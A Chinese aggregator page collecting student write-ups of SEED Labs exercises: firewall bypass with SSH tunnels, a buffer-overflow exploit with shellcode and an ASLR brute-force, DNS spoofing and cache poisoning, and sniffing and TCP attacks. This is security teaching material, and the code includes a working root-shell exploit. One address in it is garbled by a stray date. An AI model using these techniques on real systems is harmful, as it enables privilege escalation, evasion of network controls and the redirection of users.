精华内容
下载资源
问答
  • SEEDLAB-源码

    2021-03-18 04:23:54
    SEEDLAB
  • SeedLab软件 我的SeedLab v2.0 Ubuntu 20.04软件部分的实验报告 实验室文档和设置: : 目录 缓冲区溢出攻击实验室(服务器版) 返回libc 环境变量 比赛条件+脏牛 格式字符串 光谱和熔毁
  • seedlab防火墙攻击

    2020-12-26 15:43:53
    title: seedlab实验防火墙攻击 tags: - seedlab - 网络安全 seedlab实验防火墙攻击 一、实验目标 1、学习使用防火墙工作原理 2、了解数据包过滤器,状态防火墙,应用防火墙等 3、学会一些防火墙绕过方式 二、实验...

    seedlab实验防火墙攻击

    一、实验目标

    1、学习使用防火墙工作原理
    2、了解数据包过滤器,状态防火墙,应用防火墙等
    3、学会一些防火墙绕过方式

    二、实验原理

    本实验的学习目标是让学生通过玩防火墙软件并实现简化的数据包
    过滤防火墙来了解防火墙如何工作。防火墙有几种类型。在本实验中,
    我们重点介绍两种类型,数据包筛选器和应用程序防火墙。
    数据包过滤器通过检查数据包来起作用;如果数据包与数据包过滤器
    的规则集匹配,则数据包过滤器将丢弃数据包或将其转发,具体取决
    于规则的内容。数据包过滤器通常是无状态的;它们仅基于该数据包
    中包含的信息过滤每个数据包,而无需注意数据包是否为现有流量的
    一部分。数据包过滤器通常结合使用数据包的源地址和目标地址,其
    协议以及端口号(对于TCP 和UDP 通信)。
    应用防火墙在应用层工作。广泛使用的应用程序防火墙是Web 代理,
    它主要用于Web 流量的出口过滤。在本实验中,学生将同时使用两种
    类型的防火墙,并通过实施某些关键功能来了解防火墙的工作原理。

    三、实验步骤及运行结果

    Task1、Using Firewal

    此任务都是在A 下做的。
    首先阻止A telnet 连接B:
    首先A 是可以连接B 的:

    在这里插入图片描述
    之后输入指令:

    在这里插入图片描述
    意思就是禁掉目的IP 为10.0.2.11 的端口为23 的tcp 报文。
    等待一分钟后连接不上:
    在这里插入图片描述
    之后阻止B 连接A:
    首先B 是可以连接A 的:
    在这里插入图片描述
    之后在A 上输入指令:

    在这里插入图片描述
    意思就是禁掉源IP 为10.0.2.11 且端口为23 的报文。

    在这里插入图片描述
    此时,等待一段时间之后,无法连接上。
    之后,阻止A 连接某网站。
    首先,程序可以访问百度网站:

    在这里插入图片描述
    之后输入指令:
    在这里插入图片描述
    39.156.66.18 即为该网站IP,可以使用ping 得到。
    禁用掉发送往该IP 的目的端口为443(https 协议)的数据包。
    之后再次访问百度:

    在这里插入图片描述
    无法登录,阻止成功。

    Task2: Implementing a Simple Firewall

    使用LKM 和Netfilter 来实现内核加载模块。
    设定过滤规则为:
    在这里插入图片描述
    丢弃21,22,23 端口的数据包即禁止telnet,ssh,ftp 服务
    禁止10.0.2.11,10.0.2.7 的ICMP 数据包,即无法ping 通这两台主
    机。一共五条规则。
    代码为

    #include <linux/kernel.h>
    #include <linux/module.h>
    #include <linux/netfilter.h>
    #include <linux/netfilter_ipv4.h>
    #include <linux/ip.h>
    #include <linux/tcp.h>
    
    static struct nf_hook_ops telnetFilterHook;
    
    unsigned int telnetFilter(void *priv, struct sk_buff * skb, const struct nf_hook_state *state){
    
                struct iphdr *iph;
                struct tcphdr *tcph;
                iph = ip_hdr(skb);
                tcph = (void *)iph+iph->ihl*4;
    
                if((iph->protocol == IPPROTO_TCP && (tcph->dest == htons(23) 
                  || tcph->dest== htons(22) 
                  || tcph->dest== htons(21)))  
                  || (iph->protocol == IPPROTO_ICMP &&((((unsigned char *)&iph->daddr)[0]==10 &&  
                     ((unsigned char *)&iph->daddr)[1]==0 
                     && ((unsigned char *)&iph->daddr)[2]==2 && ((unsigned char *)&iph->daddr)[3]==11)
                  || (((unsigned char *)&iph->daddr)[0]==10 &&  ((unsigned char *)&iph->daddr)[1]==0 
                     && ((unsigned char *)&iph->daddr)[2]==2 && ((unsigned char *)&iph->daddr)[3]==7)))){
                    printk(KERN_INFO "Dropping telent packdt to %d.%d.%d.%d\n",
                    ((unsigned char *)&iph->daddr)[0],
                    ((unsigned char *)&iph->daddr)[1],
                    ((unsigned char *)&iph->daddr)[2],
                    ((unsigned char *)&iph->daddr)[3]);
                    return NF_DROP;
                }else{
                    return NF_ACCEPT;
                }        
            }
    void removeFilter(void){
        printk(KERN_INFO "Telnet filter has been removed.\n");
        nf_unregister_net_hook(&init_net,&telnetFilterHook);
    }
    
    int setUpFilter(void){
        
        telnetFilterHook.hook = telnetFilter;
        telnetFilterHook.hooknum = NF_INET_POST_ROUTING;
        telnetFilterHook.pf = PF_INET;
        telnetFilterHook.priority = NF_IP_PRI_FILTER;
    
        if(nf_register_net_hook(&init_net,&telnetFilterHook)!=0){
            printk(KERN_WARNING "register Telnet filter hook error!\n");
            goto err;
        }
        printk(KERN_INFO "Registering a Telnet filter");
        return 0;
    
    err:
        removeFilter();
        return -1;
    }
    
    module_init(setUpFilter);
    module_exit(removeFilter);
    
    MODULE_LICENSE("GPL");
    

    代码写完后,需要使用make 来编译内核模块:
    在这里插入图片描述
    编译完毕后,载入内核中:

    在这里插入图片描述
    之后使用telnet 连接,ssh 连接:

    在这里插入图片描述
    等待几分钟发现无法连接。说明telnet,ssh 已被禁掉。

    在这里插入图片描述
    发现ftp 已被禁掉。

    在这里插入图片描述
    ping 向设定的两台主机,发现都已经被禁止ping 了。

    在这里插入图片描述
    但是依旧可以向其他IP ping。

    在这里插入图片描述
    之后,卸载该模块,发现telnet 重用。

    在这里插入图片描述
    发现ssh 恢复

    在这里插入图片描述
    发现ftp 重用恢复。

    在这里插入图片描述
    Ping 这两台主机也可以ping 通,unreachable 仅仅是没开主机而已,
    不再像之前的被禁止了。

    Task3: Evading Egress Filtering

    本任务:

    内部主机A:10.0.2.4(中间转发主机)
    外部主机B:10.0.2.11
    内部主机C:10.0.2.1

    首先在A 上设定两条规则

    1、禁止外部主机的telnet 连接
    在本任务中,即禁用掉10.0.2.11 的telnet 连接。
    类似task1,
    在这里插入图片描述
    此时便说明已经无法连接。

    2、禁用向某IP 的流量,即禁止访问某网站

    类似task1,禁止访问百度:

    在这里插入图片描述
    Task 3.a: Telnet to Machine B through the firewall

    首先在外部主机B 中执行如下命令,以建立它8000 端口到A 的SSH
    端口间建立一条SSH 隧道。这条隧道把B 的8000 端口接收到的数据
    9
    转发到C 的23 端口上。即:

    在这里插入图片描述
    建立隧道之后,在B telnet 连接本地8000 端口即可成功登陆C:

    在这里插入图片描述
    观察IP,为C 的IP:10.0.2.1
    在这里插入图片描述
    此时绕过防火墙成功。

    在这里插入图片描述
    通过wireshark 抓包可看出:
    外部主机B 先和A 通过SSH 通信,之后的telnet 的包全部都是在内
    部A 和C 之间产生的,A 会把B 的请求发给C,C 以为是A 的请求,
    因为C 已知与A 通信,之后A 再把结果返回给B。

    Task 3.b: Connect to 百度 using SSH Tunnel

    使用动态端口转发
    首先建立一条本地9000 端口到外部主机的一条SSH 隧道,但不指定
    IP,而是在浏览器去设置访问的代理为localhost:9000.此处和静态
    代理不同,web 代理仅仅转发web 数据,而在浏览器设置代理是在
    TCP/IP 层,比前一种方法更通用。

    在这里插入图片描述
    问题1、之后就可以使用本地代理访问百度了:
    在这里插入图片描述
    问题2、断开ssh,清空缓存,刷新页面:
    在这里插入图片描述
    显然,无法访问。
    问题3、再次连接ssh,并访问网站,观察现象
    显然,再次访问成功
    问题4、解释现象,为什么可以绕过:

    在这里插入图片描述
    抓包可以看到,内网主机并没有和网站进行过交互,便无法被防火墙
    检测。内网主机与外网主机进行交互,与百度交互的是外网主机。由
    外网主机把信息带回给内网。

    Task4: Evading Ingress Filtering

    先在内部主机A 搞防火墙,禁止外界访问80 与22 端口,即禁掉http
    和ssh 服务。
    在这里插入图片描述
    即外部主机无法连接该主机的WEBserver 和ssh.
    因为我是有A 的控制权限的,所以可以在A 建立一个反向的隧道
    输入指令如下:
    在这里插入图片描述
    即将内部主机向外部主机建立ssh 连接,并且把10.0.2.11 的8000
    端口的数据发向本机的80 端口
    之后在本主机进行telnet 连接本地8000 端口,即可使用内部主机的
    web 服务,即http 服务。
    在这里插入图片描述
    绕过成功。
    通过wireshark 抓包得:
    建立连接时:
    在这里插入图片描述
    先在本地两个端口发送数据包,之后8000 端口将数据发送到
    10.0.2.4 的22 端口,即使用之前的ssh 进行连接,之后数据返回,
    再次本机通信。
    http 请求时:
    在这里插入图片描述
    在最后回显时,发现使用了http 协议,使用成功。

    展开全文
  • SeedLab-StackOverFlow-Seed实验专题

    Buffer-Overflow Vulnerability Lab

    实验环境:Ubuntu 16.04
    缓冲区溢出漏洞

    本实验的学习目标是让学生通过将他们从课堂上学到的有关漏洞的知识付诸实践,获得有关缓冲区溢出漏洞的第一手经验。缓冲区溢出被定义为程序试图在预分配的固定长度缓冲区的边界之外写入数据的条件。恶意用户可以利用此漏洞来更改程序的流控制,甚至执行任意代码。此漏洞的出现是由于数据存储(例如缓冲区)和控件存储(例如返回地址)的混合:数据部分的溢出会影响程序的控制流,因为溢出会改变返回地址。

    向学生提供了一个存在缓冲区溢出问题的程序,他们需要利用此漏洞来获取root特权。

    实验预览

    该实验室的学习目标是让学生通过将他们从课堂上学到的有关漏洞的知识付诸实践,获得有关缓冲区溢出漏洞的第一手经验。缓冲区溢出被定义为程序试图在预分配的固定长度缓冲区的边界之外写入数据的条件。恶意用户可以使用此漏洞来更改程序的流控制,从而导致执行恶意代码。此漏洞的出现是由于数据存储(例如缓冲区)和控件存储(例如返回地址)的混合:数据部分的溢出会影响程序的控制流,因为溢出会改变返回地址。

    在本实验中,将为学生提供一个具有缓冲区溢出漏洞的程序;他们的任务是开发一种利用该漏洞并最终获得root特权的方案。除攻击外,还将指导学生逐步介绍几种已在操作系统中实施的保护方案,以应对缓冲区溢出攻击。学生需要评估该计划是否有效,并解释原因。本实验涵盖以下主题:

    • Buffer overflow vulnerability and attack 缓冲区溢出漏洞和攻击
    • Stack layout in a function invocation 函数调用中的堆栈布局
    • Shellcode shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。shellcode常常使用机器语言编写。 可在暂存器eip溢出后,塞入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令。
    • Address randomization 地址随机化
    • Non-executable stack 不可执行的堆栈
    • StackGuard 堆栈保护

    实验任务

    关闭对策 Turning Off Countermeasures

    Ubuntu和其他Linux发行版已经实现了几种安全机制,以使缓冲区溢出攻击变得困难。

    为了简化攻击,我先禁用它们。然后再我们将一一启用它们,并查看我们的攻击是否仍然可以成功。

    地址空间随机化: Ubuntu和其他几个基于Linux的系统使用地址空间随机化来随机化堆和栈的起始地址。这使得猜测确切的地址变得困难。猜测地址是缓冲区溢出攻击的关键步骤之一。在本实验中,我们使用以下命令禁用此功能:

    $ sudo sysctl -w kernel.randomize_va_space=0
    

    StackGuard保护方案: GCC编译器实现了一种称为StackGuard的安全机制,以防止缓冲区溢出。在这种保护的情况下,缓冲区溢出攻击将不起作用。我们可以在编译期间使用-fno-stack-protector选项禁用此保护。例如,要在禁用StackGuard的情况下编译程序example.c,我们可以执行以下操作:

    $ gcc -fno-stack-protector example.c
    

    不可执行的堆栈: Ubuntu曾经允许可执行堆栈,但是现在已经发生了变化:程序(和共享库)的二进制映像必须声明它们是否需要可执行堆栈,即它们需要在程序标头中标记一个字段。内核或动态链接器使用此标记来决定是使此正在运行的程序的堆栈是可执行的还是不可执行的。标记是由最新版本的gcc自动完成的,默认情况下,堆栈设置为不可执行。要更改此设置,请在编译程序时使用以下选项:

    对于可执行堆栈:

    $ gcc -z execstack -o test test.c
    

    对于不可执行堆栈

    $ gcc -z noexecstack -o test test.c
    

    **配置 /bin/sh **: 在Ubuntu 12.04和Ubuntu 16.04 VM中,/bin/sh 符号链接均指向/bin/dash shell。但是,这两个VM中的dash程序有重要区别。Ubuntu 16.04中的dash shell 有一个对策,可防止自身在Set-UID进程中执行。基本上,如果dash检测到它是在Set-UID进程中执行的,它将立即将有效用户ID更改为该进程的真实用户ID,从而实质上删除了特权。Ubuntu 12.04中的dash程序没有此行为。

    由于我们的受害者程序是Set-UID程序,并且我们的攻击依赖于运行/bin/sh,因此/bin/dash中的对策使我们的攻击更加困难。因此,我们将/bin/sh链接到另一个没有这种对策的Shell程序(在以后的任务中,我们将展示出一点点的努力,就可以轻易克服/bin/dash中的对策)。我们已经在Ubuntu 16.04 VM中安装了名为zshShell程序。我们使用以下命令将/bin/sh链接到zsh

    $ sudo rm /bin/sh
    $ sudo ln -s /bin/zsh /bin/sh
    

    任务一 运行shell代码

    在开始攻击之前,让我们熟悉一下shellcode。Shellcode是启动Shell的代码,必须将其加载到内存中,以便我们可以迫使易受攻击的程序跳转至该内存。考虑以下程序:

    #include<stdio.h>
    
    int main()
    {
        char* name[2];
        name[0]= "/bin/sh";
        name[1]=NULL;
        execve(name[0],name,NULL);
    }
    

    我们使用的shellcode只是上述程序的汇编版本。以下程序显示了如何通过执行存储在缓冲区中的shellcode来启动shell。请编译并运行以下代码,并查看是否调用了shell。您可以从网站下载程序。

    /* call_shellcode.c  */
    
    /*A program that creates a file containing code for launching shell*/
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    
    const char code[] =
      "\x31\xc0"             /* xorl    %eax,%eax              */
      "\x50"                 /* pushl   %eax                   */
      "\x68""//sh"           /* pushl   $0x68732f2f            */
      "\x68""/bin"           /* pushl   $0x6e69622f            */
      "\x89\xe3"             /* movl    %esp,%ebx              */
      "\x50"                 /* pushl   %eax                   */
      "\x53"                 /* pushl   %ebx                   */
      "\x89\xe1"             /* movl    %esp,%ecx              */
      "\x99"                 /* cdq                            */
      "\xb0\x0b"             /* movb    $0x0b,%al              */
      "\xcd\x80"             /* int     $0x80                  */
    ;
    
    int main(int argc, char **argv)
    {
       char buf[sizeof(code)];
       strcpy(buf, code);
       ((void(*)( ))buf)( );
    } 
    

    使用以下gcc命令编译以上代码。运行程序并描述您的观察结果。请不要忘记使用execstack选项,该选项允许从堆栈执行代码。没有此选项,程序将失败。

    $ gcc -z execstack -o call_shellcode call_shellcode.c
    

    上面的shellcode调用execve()系统调用来执行/bin/sh。此shellcode中的一些地方值得一提。

    首先,第三条指令将“//sh”而不是“/sh”压入堆栈。这是因为我们在这里需要一个32位数字,而“/sh”只有24位。幸运的是,“//”等效于“/”,因此我们可以避免使用双斜杠符号。

    其次,在调用execve()系统调用之前,我们需要将name[0](字符串的地址),name(数组的地址)和NULL分别存储到%ebx,%ecx和%edx寄存器中。第5行将name [0]存储到%ebx;第8行将名称存储到%ecx;第9行将%edx设置为零。还有其他方法可以将%edx设置为零(例如xorl%edx,%edx); 这里使用的那个(cdq)只是一条较短的指令:它将EAX寄存器中的值的符号(第31位)(此时为0)复制到EDX寄存器的每个位位置,基本上将%edx设置为 0.

    第三,当我们将%al设置为11并执行“ int $ 0x80”时,系统调用execve()被调用。

    易受攻击的程序

    将为您提供以下程序,该程序在Line➀中具有缓冲区溢出漏洞。您的工作是利用此漏洞并获得root特权。

    /* stack.c */
    
    /* This program has a buffer overflow vulnerability. */
    /* Our task is to exploit this vulnerability */
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    
    int bof(char *str)
    {
        char buffer[24];
    
        /* The following statement has a buffer overflow problem */ 
        strcpy(buffer, str);
    
        return 1;
    }
    
    int main(int argc, char **argv)
    {
        char str[517];
        FILE *badfile;
    
        badfile = fopen("badfile", "r");
        fread(str, sizeof(char), 517, badfile);
        bof(str);
    
        printf("Returned Properly\n");
        return 1;
    }
    

    编译上述易受攻击的程序。不要忘记包括-fno-stack-protector和“-z execstack”选项,以关闭StackGuard和不可执行的堆栈保护。编译之后,我们需要使该程序成为root拥有的Set-UID程序。我们可以通过首先将程序的所有权更改为root(第Line行),然后将权限更改为4755以启用Set-UID位(第Line)来实现此目的。

    应当注意,更改所有权必须在开启Set-UID位之前完成,因为所有权更改将导致Set-UID位被关闭。

    $ gcc -g -o stack -z execstack -fno-stack-protector stack.c //必须要有-g才可以被检测到
    $ sudo chown root stack ①
    $ sudo chmod 4755 stack ②
    

    上面的程序有一个缓冲区溢出漏洞。它首先从名为badfile的文件中读取输入,然后将该输入传递到函数bof()中的另一个缓冲区。原始输入的最大长度可以为517个字节,但是bof()中的缓冲区只有24个字节长。由于strcpy()不检查边界,因此会发生缓冲区溢出。由于此程序是Set-root-UID程序,因此,如果普通用户可以利用此缓冲区溢出漏洞,则普通用户可能能够获得root shell。应当注意,程序从名为badfile的文件获取其输入。该文件受用户控制。现在,我们的目标是为badfile创建内容,以便当易受攻击的程序将内容复制到其缓冲区中时,可以生成根shell

    任务二 利用漏洞

    我们为您提供了部分完成的利用代码,称为“exploit.c”。该代码的目的是为badfile构造内容。在此代码中,shellcode提供给您。您需要开vi e发其余部分。

    /* exploit.c  */
    
    /* A program that creates a file containing code for launching shell*/
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    char shellcode[]=
        "\x31\xc0"             /* xorl    %eax,%eax              */
        "\x50"                 /* pushl   %eax                   */
        "\x68""//sh"           /* pushl   $0x68732f2f            */
        "\x68""/bin"           /* pushl   $0x6e69622f            */
        "\x89\xe3"             /* movl    %esp,%ebx              */
        "\x50"                 /* pushl   %eax                   */
        "\x53"                 /* pushl   %ebx                   */
        "\x89\xe1"             /* movl    %esp,%ecx              */
        "\x99"                 /* cdq                            */
        "\xb0\x0b"             /* movb    $0x0b,%al              */
        "\xcd\x80"             /* int     $0x80                  */
    ;
    
    void main(int argc, char **argv)
    {
        char buffer[517];
        FILE *badfile;
    
        /* Initialize buffer with 0x90 (NOP instruction) */
        memset(&buffer, 0x90, 517);
    
        /* You need to fill the buffer with appropriate contents here */ 
        strcpy(buffer+100,shellcode);			//将shellcode拷贝至buffer
        strcpy(buffer+0x24,"\x??\x??\x??\x??");		//在buffer特定偏移处起始的四个字节覆盖sellcode地址
        /* Save the contents to the file "badfile" */
        badfile = fopen("./badfile", "w");
        fwrite(buffer, 517, 1, badfile);
        fclose(badfile);
    }
    

    完成上述程序后,编译并运行它。这将生成badfile的内容。然后运行易受攻击的程序stack.c。如果您的漏洞利用程序正确实施,则应该能够获得root shell

    那么我们这里就存在一个问题(这里是重点),应该怎么得到这里偏移的位置呢?一下内容参考博客

    于是我们想到可以使用gdb来调试一下stack.c看一下内部运行的结构,首先这里需要强调一下必须在gcc编译时加上-g选项才可以使用gdb调试。

    在终端输入如下代码:

    $ gdb stack 
    

    然后就进入了调试的页面,然后就可以看一下shellcode的返回地址。

    $ b main
    $ r //查看寄存器
    $ p /x &str
    

    漏洞程序读取badfile 文件到缓冲区str,且str的地址为0xbfffeb17,计算上shellcode偏移量100(0x64),则shellcode地址为0xbffeb7b

    然后接下来输入如下命令进行反汇编,可以看到ebp的首地址偏移量为0x20,则由于是32bit的字节,所以返回地址偏移为0x24。

    重要提示:请首先编译您的易受攻击的程序。请注意,生成badfile的程序exploit.c可以在启用默认StackGuard保护的情况下进行编译。这是因为我们不会在该程序中溢出缓冲区。我们将溢出stack.c中的缓冲区,该缓冲区是在禁用StackGuard保护的情况下编译的。

    $ gcc -o exploit exploit.c
    $./exploit // create the badfile
    $./stack // launch the attack by running the vulnerable program
    # <---- Bingo! You’ve got a root shell!
    

    展开全文
  • EENG350-SEEDLAB SEED_LAB
  • seedlab缓冲区溢出实验

    2020-12-26 17:21:25
    title: seedlab缓冲区溢出实验 tags: - seedlab - 软件安全 seedlab缓冲区溢出实验 一、实验目的 完成题目指导书所给的任务 二、实验步骤与结果 首先进行初始设置: 1、关闭地址空间随机化,为了防止堆栈地址和动态...

    seedlab缓冲区溢出实验

    一、实验目的

    完成题目指导书所给的任务

    二、实验步骤与结果

    首先进行初始设置:

    1、关闭地址空间随机化,为了防止堆栈地址和动态链接库加载地址随机化从而无法执行目标shellcode。

    2、在编译程序时应该设置堆栈不可执行,否则shellcode是无法在栈上执行的。

    3、关闭stack guard机制,防止栈溢出被检测出来,但是如果有格式化字符串漏洞的话,可以尝试泄露cancary的值,然后可以在构造的时候在ebp之前加上该值就可以执行shellcode了。

    4、将/bin/sh的符号链接指向/bin/zsh,因为在16.04中默认是指向/bin/bash的,而该shell会检测到它在一个Set-UID 进程中被执行,它会立即切换有效的user ID 为进程的真实user ID,放弃特权。

    Task1:运行shellcode

    加入编译条件后

    gcc -z execstack -o call_shellcode call_shellcode.c
    

    运行结果如下:
    在这里插入图片描述
    的确打开了/bin/sh这个shell,说明shell可以被调用成功。

    之后查看漏洞程序,发现存在缓冲区溢出漏洞,向24字节大小的地址中写入517个字节的大小。这517个字节数据来自于badfile文件,所以重点就是如何构造输入数据。

    之后对于漏洞程序来说,如果我们想要拿到root权限,那么调用shell的程序也是 应该具有root权限才可以,否则只会像上图一样以普通用户模式打开shell。所以应该对此程序设为set-uid root。指令调用如下:
    在这里插入图片描述
    调用结束之后,
    在这里插入图片描述
    发现修改成功,task1结束。

    Task2:利用漏洞

    既然要利用程序,那么确定buffer相对于返回地址的偏移量便是很重要的,一旦确定偏移量,那么返回地址上面覆盖为需要执行的代码即可。

    首先随机生成100个字节写入badfile中,然后运行stack,在gdb中程序会停住。

    在这里插入图片描述
    停住的原因就是返回地址无法识别为可执行的数据。如果能得到EBP的偏移量,那么返回地址就在后面4个字节处,之后查看偏移量:

    在这里插入图片描述
    发现偏移量为32,也就是我们的shellcode的地址应该放到buffer+36地址处,之后便需要确定shellcode的地址,如果选择把shellcode放到buffer+100处,那么进入程序后,会先放到str变量中,如果能知道str变量的地址,那么便可以知道shellcode的地址。
    在这里插入图片描述
    得到了str的地址,那么此时shellcode的地址就是0xbfff12/26/2020eb77+100,即0xbfffebdb。

    在这里插入图片描述
    运行之后,可得root:

    在这里插入图片描述
    之后可以通过运行setuid程序来得到真正的root:

    在这里插入图片描述

    Task3:ASLR

    打开地址空间随机化,

    在这里插入图片描述
    因为32为中,栈的基地址只有pow(2,19)种可能,可以暴力破解。

    执行如下脚本:

    在这里插入图片描述
    执行结果如下:
    在这里插入图片描述
    运行70272次,成功打开shell。

    Task4:stack guard

    执行如下指令:
    在这里插入图片描述
    打开stack guard机制
    在这里插入图片描述
    发现栈溢出被检测到了,原因就是覆盖了EBP附近的cancry标志,由系统检测到,报错。

    Task5:不可执行栈

    使用如下指令关闭不可执行栈:
    在这里插入图片描述
    程序崩溃,进入gdb发现无法识别指令所代表的一串数据为合法地址。
    在这里插入图片描述
    即栈上不能包含指令,如果想要攻击的话,可以在上面覆盖某些gadget的地址,生成ROP链进行攻击。

    展开全文
  • seedlab本地DNS攻击

    2020-12-26 14:55:43
    seedlab实验本地DNS 攻击 一、实验目标 1、学习使用DNS 工作原理 2、学会对DNS 的主要攻击类型,搭建DNS,伪造回复,DNS 缓存中毒,DNS 授权 攻击等 二、实验原理 DNS 是Internet 的电话簿;它将主机名转换为IP ...

    seedlab实验本地DNS 攻击

    一、实验目标

    1、学习使用DNS 工作原理
    2、学会对DNS 的主要攻击类型,搭建DNS,伪造回复,DNS 缓存中毒,DNS 授权
    攻击等

    二、实验原理

    DNS 是Internet 的电话簿;它将主机名转换为IP 地址,反之亦然。这种转
    换是通过DNS 解析完成的,该解析发生在幕后。DNS Pharming 攻击以各种方式
    操纵此解析过程,目的是将用户误导到通常是恶意的替代目标。本实验重点研究
    几个DNS Pharming 攻击技术。学生将首先设置和配置DNS 服务器,然后他们还
    将在实验室环境内的目标上尝试各种DNS Pharming 攻击。

    三、实验步骤及运行结果

    Task1、Configure the User Machine

    首先需要配置用户机:
    首先修改/etc/resolvconf/resolv.conf.d/head 文件,添加:

    nameserver  10.0.2.1
    

    之后运行指令:

    sudo resolvconf -u
    

    使修改生效。

    Task2.Set up a Local DNS Server

    Step1:配置BIND9
    首先在/etc/bind/named.conf.options 文件中的选项添加dump-file 条目:

    发现已经添加。
    上述选项制定了缓存内容应该转储到哪个文件。

    Step2:关闭DNSSEC
    DNSSEC 的作用是抵御对DNS 服务器的欺骗攻击,要想实现需要把该机制关掉。
    注释掉dnssec-validation 条目,并增加dnssec-enable 条目。

    Step3:开启DNS 服务器:

    sudo service bind9 restart
    

    Step4:使用DNS 服务器
    在用户机ping www.baidu.com,发现此时显示:

    通过wireshark 抓包可以看出会有10.0.2.1 即DNS 服务器向外部服务器发送的
    报文:

    此时已经使用10.0.2.1 为DNS 服务器了。

    Task3: Host a Zone in the Local DNS Server

    Step1:建立区域:
    需要在DNS 服务器中创建两个区域,一个用来正向查找(主机-)IP),一个用来
    反向查找(IP-)主机):所以在/etc/bind/named.conf 文件中添加:

    Step2:配置正向查找区域文件

    Step3:配置反向文件
    在/etc/bind/192.168.0.db 文件中设置如下内容:

    Step4:重启BIND 并测试
    重启之后,在用户机输入:
    dig www.example.com显示为:

    在这里插入图片描述
    可以看到,此时其对应的IP 为192.168.0.101,配置成功。

    Task4:Modifying the Host File

    假设我作为攻击者已经拿到了用户机的shell,那么就可以修改用户机的
    /etc/hosts 文件,添加如下条目:
    在这里插入图片描述
    此时,使用ping 指令,就会发现:
    在这里插入图片描述
    目的IP 为1.2.3.4,修改成功,这样修改是高于NDS 查询的。

    Task5:Directly Spoofing Response to User

    但是实际上我并没有拿到用户机的shell,但是和用户机处于同一局域网中,所
    以可以对其进行监听,当用户机发出DNS 询问时,对其进行DNS 伪造回复。
    使用netwox 105 工具:
    在这里插入图片描述
    此时,令网站www.exam.com的查询结果为:5.6.7.8,查询该网站的域名服务器
    为:ns.attacker32.com IP 为:101.102.103.104(当然是伪造的)

    此时在用户机发出查询请求之后,攻击端伪造数据包如下:
    在这里插入图片描述
    此时用户机可以看到DNS 查询结果为:
    在这里插入图片描述
    伪造成功。

    Task6: DNS Cache Poisoning Attack

    上面的攻击方式每一次都要伪造一个数据包,很麻烦,可以采用DNS 缓存中毒来

    进行攻击,那样在一段时间之内,都可以不用伪造。
    此时攻击方伪造数据包为:
    在这里插入图片描述
    不发送ARP 的查询。

    之后,在用户机dig www.exam.com之后,可以看到已被伪造:
    在这里插入图片描述
    此时查看server 端DNS 缓存:
    在这里插入图片描述
    发现缓存已经被更新。
    此时,就算是不伪造数据包,也可以查询到伪造的IP:
    在这里插入图片描述
    攻击成功。

    Task 7: DNS Cache Poisoning: Targeting the Authority Section

    上面的方法只有一个域名的缓存,如果想要得到授权对一个域进行攻击的话,就需要配置一个合法的IP.

    在这一步就需要使用scapy:
    编写脚本如下:

    在这里插入图片描述
    此时使用dig 查询之后,得到被伪造的对应的IP,查看server 的DNS 缓存信息:

    在这里插入图片描述
    发现此时缓存中写入的就是一个域。
    之后,使用dig 查询hhh.exam.com,
    DNS 服务器不会进行迭代查询,而是直接返回缓存纪录,发现回送的报文中:

    在这里插入图片描述
    并没有回答,因为ns.attacker32.com 并不是我们能掌控的权威服务器。

    Task 8: Targeting Another Domain

    尝试为DNS 添加两条缓存域,效果如下:
    在这里插入图片描述
    编写脚本:
    在这里插入图片描述
    在进行dig 之后,发现server 中只留下了一条缓存域条目:

    在这里插入图片描述
    查看此时包中数据为:
    在这里插入图片描述
    发现留下的是发送包中的第一条。

    Task 9: Targeting the Additional Section

    为一个域设置多个查询条目,为那些查询条目分配对应的DNS IP,效果如下:
    在这里插入图片描述
    编写脚本:
    在这里插入图片描述
    发现server 中只留下了和权威服务器有关的IP,而www.facebook.com并没有被
    留下来:
    在这里插入图片描述
    这是由于additional 中的记录只有与authority 中匹配,dns 缓存才会将其收入到dns 的缓存中.

    展开全文
  • seedlab实验Sniffing_Spoofing

    千次阅读 2020-12-26 13:18:26
    seedlab实验Sniffing_Spoofing 一、实验目标 对数据包进行嗅探与伪造(本次实验代码在底部) 二、实验原理 Sniffing就是一种能将本地网卡状态设成‘混杂’状态的模式,当网卡处于这种“混杂”方式时,该网卡具备...
  • seedlab_shellshock攻击实验 一、实验目的 完成题目指导书所给的任务 二、实验步骤与结果 Task1:测试是否含有漏洞的shell. 原理大概就是:当一个shell程序接受环境变量的时候,会检测环境变量的值是否以:”() {...
  • seedlab生成安全随机数 一、实验目的 生成随机数是安全软件中非常常见的任务。许多开发人员从他们以前的经验中知道如何生成随机数(例如用于蒙特卡洛模拟),因此出于安全目的,他们使用类似的方法生成随机数。不幸...
  • SEEDLAB【学习随记】

    2020-08-10 22:58:16
    SEEDLAB - FORMAT_STRING_SERVER 格式化字符串攻击介绍Task1:运行程序,了解程序的主要作用。Task2:理解栈的布局。Task3: 使程序崩溃。Task4: 打印服务器程序的内存中的内容。Task5:改变服务器程序的内存。Task6...
  • 本学期开始两门课的SeedLab之旅~ 网上能参考的资料比较少…要自己加油鸭 ???? Sniffing & Spoofing Lab 两种语言:Python(Scapy)、C(pcap) 两种机制:Sniff、spoof Task 1.1A 抄一抄示例代码,scapy的show()...
  • seedlab License 本课程所涉及的实验来自,并在此基础上为适配网站环境进行修改,修改后的实验文档仍然遵循GNU Free Documentation License。 附版权声明: Copyright c 2006 - 2014 Wenliang Du, Syracuse ...
  • DNS_Remote Attack Seedlab Project实验主机配置实验环境实验步骤与结果分析task1 环境安装task2 Configure the Local DNS Server (the Server VM)task3 Configure the Attacker VM== 上面图片中的问题,目前还没有想...
  • seedlab实验TCP/IP Attack Lab 一、实验目标 1.学习使用tcp工作原理 2.学会对tcp 的主要攻击类型,如SYN 泛洪攻击、TCP 复位攻击、TCP 会话劫持攻击(代码位于底部) 二、实验原理 传输控制协议是因特网协议簇中的一...
  • [SEEDLab]竞争条件漏洞(Race Condition Vulnerability) Introduction 我们首先考虑这样的一个情景,我们有一个名为test的文件,它具有这样的权限: -rwsr-xr-x 1 root seed 40 Jun 9 22:45 test 作为seed用户,...
  • 第10组的SEEDLab Git回购 作者: - Andrew Burton - Trevor Bachand - William Peyton - Kyra Squier 此存储库的目的是充当Group 10 SEED Lab项目文件的中央存储位置。 每个项目都包含在一个子文件夹中: - Mini...
